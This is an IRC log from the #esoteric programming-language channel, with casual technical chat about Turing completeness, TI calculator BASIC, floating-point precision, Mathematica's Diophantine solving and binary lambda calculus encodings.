atm < 1269641370 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Aren't TC languages effectively equivalent to a Turing machine? < 1269641408 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :equivalently effective < 1269641445 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :TI-86's TI-BASIC allows pretty long labels, you just use the "Lbl ABCD" command, and then "Goto ABCD" later. I'm not sure what the length limit there is; four seems to work just fine. < 1269641456 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :So what's the guy complaining about? < 1269641528 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Complaints. < 1269641578 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Empirical tests seems to suggest that "Lbl" accepts labels up to 8 characters long. < 1269641695 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :PLEASE ABSTAIN FROM COMING FROM < 1269641707 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Man. INTERCAL. < 1269641778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, on TI-83+ it was 2 letters < 1269641780 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Presumably that afects TCness. < 1269641914 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't have the 83+ ROM in the TI emulator in my phone, so can't verify that; I'll take your word for it. < 1269642032 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: unless you can create labels on the fly (and somehow use that for memory), more than 8 characters seems unlikely to help for TCness < 1269642043 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :burghgrph'unrbafpun < 1269642069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :even 2 letters are probably enough < 1269642090 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yes, I do agree. It's got arrays (well, vectors and matrices), but I think those have specified fixed size limits. < 1269642131 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh, i meant that remark for Phantom_Hoover < 1269642142 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but thanks for clarification < 1269642213 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Surely a finite number of levels would restrict something important? < 1269642237 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :For instance, you would only be able to nest loops up to a certain number. < 1269642275 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: if _everything_ is finite, yes. but you only need one mechanism for getting unbounded memory, labels don't need to be it < 1269642325 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... < 1269642588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and even unlimited label size won't help with that as long as you have fixed labels in each single program < 1269642613 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes... < 1269642624 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It has strings, and the manual doesn't especially speak of length limits, but of course in practice it does have limits there. < 1269642634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: I don't have the 83+ ROM in the TI emulator in my phone, so can't verify that; I'll take your word for it. <-- on... your... phone?! < 1269642636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1269642651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well I do have a ti-83+ emulator somewhere around here anyway < 1269642695 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Windows Mobile has a TI 83-89 emulator < 1269642697 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, I have AlmostTI (which does 85, 86, 82, 83, 83+, 73, 83+se, and maybe 84+ and 84+se) on the phone. < 1269642709 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't do 89, though. < 1269642732 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(http://fms.komkon.org/ATI85/) < 1269642745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yep syntax error with 3 letters < 1269642757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, 89 is 68k isn't it? < 1269642760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :while the other are Z80 < 1269642762 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, I think it is. < 1269642824 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: It's got strings, and those don't have explicit length limits, but you can again derive some implicit limits from the fact that "lngth" needs to be able to return the length of string, and it returns a "number", and the numbers are something like 14-byte BCD-decimal-floats or some-such. < 1269642844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is there no plain 84 btw? < 1269642847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :without the + < 1269642869 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They might have skipped the number. < 1269642872 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, you have loops in TI-83+ btw < 1269642873 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I haven't heard of one. < 1269642878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that are not done with label and goto < 1269642884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you have for() and while iirc < 1269642891 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway the ram is very limited < 1269642898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you would run out of that early on < 1269642900 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think there was a nesting limit for the loops, too, but I might misremember. < 1269642905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1269642906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know < 1269642921 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"The TI-84 Plus is a graphing calculator made by Texas Instruments which was released in early 2004. There is no original TI-84, only the TI-84 Plus and TI-84 Plus Silver Edition models" < 1269642923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from wikipedia < 1269643201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what just happened to wikipedia < 1269643205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :everything changed < 1269643214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :horribly unreadable now < 1269643225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and then it went back to normal < 1269643229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with ctrl-shift-r < 1269643233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :????? < 1269643267 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Bug with Beta? < 1269643313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :does beta have a smaller font? < 1269643317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if so probably < 1269643324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and kind of bluish theme < 1269643373 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://mashable.com/2010/03/26/wikipedias-redesign-is-coming-soon/ < 1269643410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :looked like a mix of them < 1269643649 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :They're changing it! Therefore it will suck! < 1269643697 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://tvtropes.org/pmwiki/pmwiki.php/Main/TheyChangedItNowItSucks < 1269643705 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(*MWAHAHAHA*) < 1269643980 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :eh, bttr thn th chngs thy md t nglsh. lawlfg! < 1269644036 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269644740 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oerjan: Linking to TV Tropes? Have you no decency? < 1269644742 0 :adam_d!~Adam@aatl101.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269644789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i thought my evil laughter would be warning enough < 1269645011 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Fortunately I was already overexposed. < 1269645583 0 :Azstal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269645646 0 :Aszstal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269645748 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269645759 0 :Aszstal!unknown@unknown.invalid NICK :Asztal < 1269645855 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269645959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"cpuemu.c:34537: warning: comparison of promoted ~unsigned with unsigned" <-- that is a warning I never seen before < 1269645965 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also what a huge line number < 1269645979 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suggest clang. < 1269645987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, oh? < 1269645997 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It gives useful errors and warnings. < 1269646002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I doubt it would work. This uses inline asm which llvm doesn't support < 1269646006 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And it makes C++ type errors readable. < 1269646008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :specifically x87 asm < 1269646013 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Aaaaw. < 1269646020 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Wait, x87? Burn it with fire! < 1269646029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, *shrug* < 1269646050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't see what is wrong with using that. < 1269646066 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's quite slower than SSE. < 1269646079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, sure, but SSE doesn't do long double < 1269646099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck dcop.cpp:(.text+0x52c): undefined reference to `KApplication::dcopClient()' < 1269646122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't ./configure have, you know, detected that < 1269646155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :google says: No results found for "comparison of promoted ~unsigned with unsigned". < 1269646232 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but I fail to see the advantage of an 80-bit floating point type that's hella-slow and unportable. < 1269646277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well because PPC has 128 bit < 1269646284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :while x86 only has 80 bits < 1269646298 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :x86 doesn't have floating point. < 1269646300 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269646311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1269646438 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Really? < 1269646447 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hm, PPC does real quadruple-precision floats? That's impressive. < 1269646490 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :When would you even need floats that precise? < 1269646494 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Rocket science? < 1269646501 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, pretty sure it does < 1269646517 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Long_double speaks only of software implementations, but who knows. < 1269646561 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also, GCC's http://gcc.gnu.org/onlinedocs/gcc/Floating-Types.html says __float80 and __float128 are only supported on x86ish things (the latter with software emulation), but I guess they might still do a "long double" like that. < 1269646679 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Another place lists a 128-bit PowerPC "long double" format that's listed to be implemented as "fast software". < 1269646689 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That double-double non-IEEE thing sounds bizarre. < 1269646706 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"PowerPC supports long double using its fused multiply-add instruction, so its operations are relatively fast, though not fully IEEE-compliant." < 1269646719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269646725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1269646735 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1269646739 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess if all you have is a fused multiply-add, all your floats look like... nails? I don't know how that saying goes. < 1269646877 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Just don't blow a fuse < 1269646888 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269647457 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mathematica can't even do diophantine equations over natural numbers.... < 1269647480 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Isn't there standard IEEE quad-prec float type also (but not widely supported)? < 1269647528 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :have to do && x >= 0 < 1269647603 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Because Mathematica sucks. < 1269647655 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269647949 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :You can't solve general diophantine equations, though < 1269647999 0 :jcp!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269648031 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1269648315 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what Ilari thinks about energy drinks and caffeine pills
< 1269648347 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269648450 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :*Diophant> mathematica ((U "x" :\=: U "y") :/\: (U "x" :>: I 13) :/\: (U "y" :>=: I 7)) < 1269648454 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"FindInstance[(((((((x + (-1 * y)) ^ 2) + (-1 * (x1 + 1))) ^ 2) + ((((13 + x2) + 1) + (-1 * x)) ^ 2)) ^ 2) + (((7 + x3) + (-1 * y)) ^ 2))==0 &&x>=0&&y>=0&&x1>=0&&x2>=0&&x3>=0,{x, y, x1, x2, x3},Integers]" < 1269648468 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mathematica takes about 10 seconds then it finds: x -> 16, y -> 11 < 1269648778 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"I understand and accept that my choice of cryopreservation may affect the type and extend of medical care I receive. Some physicians and medical facilities may refuse to treat or admit me because of my cryopreservation arrangements or may require that I be transferred to another, perhaps less suitable medical facility for treatment and care." < 1269648785 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269648790 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's kind of.. unacceptable, really < 1269648871 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269648877 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is running '(I 2 :|: U "x") :/\: (I 3 :|: U "x") :/\: (I 5 :|: U "x") :/\: (U "x" :>: I 1)'
< 1269648882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and it is taking a long long time < 1269648897 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :J? < 1269648937 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, it means that x is divisible by 2 3 and 5, and it's greater than 1 < 1269649081 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269649249 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269649280 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I lie! < 1269649283 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oops. < 1269649290 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Freudian slit. < 1269649320 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have asked mathematica to find me a number which is divisible by 2, 3 and 5. and is greater than 1... < 1269649323 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it says "The methods available to FindInstance are insufficient to find the \ < 1269649326 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :requested instances or prove they do not exist." < 1269649338 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric ::O < 1269649416 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, J is slow, o.O < 1269649426 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :even _I_ know an answer < 1269649428 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :DID YOU TRY 2*3*5?? < 1269649449 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or wait, that code's Mathematica? < 1269649455 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I've never seen Mathematica code before < 1269649473 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :um it's not J < 1269649497 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1269649497 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :exists x1, x2, x3, x4, (((x - 2 x1)^2 + (x - 3 x2)^2)^2 + (x - 5 x3)^2)^2 + (2 - x + x4)^2 <--- this expresses that x is divisible by 2, 3, 5 & is greater than 1 < 1269649508 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but mathematica gave up on it < 1269649532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :stupid thing < 1269649585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, try reduce? < 1269649594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Reduce that is < 1269649599 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How would you do it in J? < 1269649704 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... I sent a fax to my secretary. < 1269649726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh, having your own secretary < 1269649771 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :That was just to test the IRC thing. < 1269649783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what irc thing? < 1269649795 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269649825 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269649899 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269650034 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :At least in my client, it highlights stuff. < 1269650186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what stuff? < 1269650194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :your own nick? < 1269650198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you were just annoying fax? < 1269650250 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :...Not particularly. < 1269650308 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How did everyone else find out about esolangs? < 1269650368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night really → < 1269650500 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, bye. < 1269650502 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269650782 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I found about it when seeing a humorous drawing involving INTERCAL < 1269651761 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1269651898 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269652363 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269652675 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1269657003 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269658474 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269659120 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269659257 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269659530 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269661705 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269661988 0 :augur!~augur@ip70-188-182-24.ri.ri.cox.net JOIN :#esoteric < 1269665621 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269667359 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269667439 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269667460 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GAH INTERNET HATES ME < 1269667537 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Lag: 31.91 < 1269667554 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GAAAAH < 1269667708 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :WHO HIT THE INTERNET-SUCKS BUTTON < 1269667789 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269667796 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oh that is what that button does ._. < 1269668240 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269668579 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269668620 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION blames Pez.. err, Quadrescence
< 1269668643 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :It only started happening since people started using Haskell. < 1269668661 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I know correlation doesn't imply causation--except when it does. < 1269669724 0 :augur!~augur@ip70-188-182-24.ri.ri.cox.net JOIN :#esoteric < 1269671742 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269672328 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269672670 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sees a lack of alise. OH NOES
< 1269672814 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I hope he's made it to Sweden < 1269675460 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269676799 0 :clog!unknown@unknown.invalid QUIT :ended < 1269676800 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269678769 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269681354 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269682617 0 :adam_d!~Adam@aatl101.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269682972 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269684988 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269685684 0 :MigoMipo!~migomipo@84-217-1-53.tn.glocalnet.net JOIN :#esoteric < 1269685806 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269688943 0 :alise!~alise___@212.183.140.51 JOIN :#esoteric < 1269688965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is a dispatch / it numbers five. / Every weekend / the #esoteric jive. Also: worst poem ever. < 1269689214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :18:02:33 * alise gets in TARDIS; destination: Friday. < 1269689218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh snap, I caused a pime taradox. < 1269689294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:29:53 I have my own story about teleportation: One guy makes up a new kind of teleporter but something goes wrong. Now we lost the harp. But that's OK, because it caused other things too which are beneficial to the situation anyways. The End < 1269689302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/speechless < 1269689316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:12:00 * Sgeo fails to see "Cryonics" on WhatsTheHarm < 1269689322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most people see cryonics as a harmless scam... < 1269689347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most people, of course, usually taking the most mediocrely dumb opinion they can. < 1269689438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :09:54:11 the quote's from , which somehow still exists, and which is interesting (although I don't know if I agree with it or not yet) < 1269689442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh no, not the OOP guy! < 1269689446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, anti-oop < 1269689606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so what's everyone's favourite binary lambda calculus encoding < 1269689650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I thought I liked John Tromp's especially because it has a 210 bit self-interpreter, but it doesn't seem to be very pure LC to me < 1269689667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'cause it isn't directly lambdas and stuff < 1269689691 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no wait it is < 1269689694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i just read the io section < 1269689729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hey tromp invented exactly my notation < 1269689738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well more or less < 1269689747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :00e = \e < 1269689751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :01fx = f x < 1269689773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1^i0 = i < 1269689782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :although hmm < 1269689793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :don't you need an extra 1 with i? < 1269689805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because otherwise, 000 ... well actually it is unambiguous < 1269689818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it kind of irks me that we have 0s at the start though, I don't like that < 1269689826 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because 0 and 000 are distinct programs... < 1269689831 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :adding 1 at the start solves that but that's ugly < 1269689892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then again numbers outside of a lambda aren't allowed < 1269689896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we don't need them to be valid on their own < 1269689900 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269689931 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we can do < 1269689932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :100e = \e < 1269689932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :101fx = f x < 1269689932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :11(n 1s)0 = n < 1269689945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that's verbose... < 1269690514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :; < 1269690515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1269690692 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :16:52:58 but a way to implement arrays ovcer brainfuck < 1269690718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x_0, 1, x_1, 1, x_2, 1, ..., x_(n-1), 1, x_n, 0 < 1269690754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:23:01 I IS NOW 10 < 1269690754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:23:03 20 < 1269690755 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:23:08 NOT 10, 20. < 1269690756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1269690759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stop making me feel inferior < 1269690763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :23:00:05 Why are all these younger people smarter than I am? < 1269690765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CAUSE YOU SUCK < 1269690830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :23:16:12 Yes but reading a book on paper > reading a book on screen < 1269690831 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ebook < 1269690925 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269691024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://web.tiscali.it/magazzinocartoniani/ Hey look, old computer ROMs. < 1269691048 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1269691056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi oklopol < 1269691190 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269691317 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1269691320 0 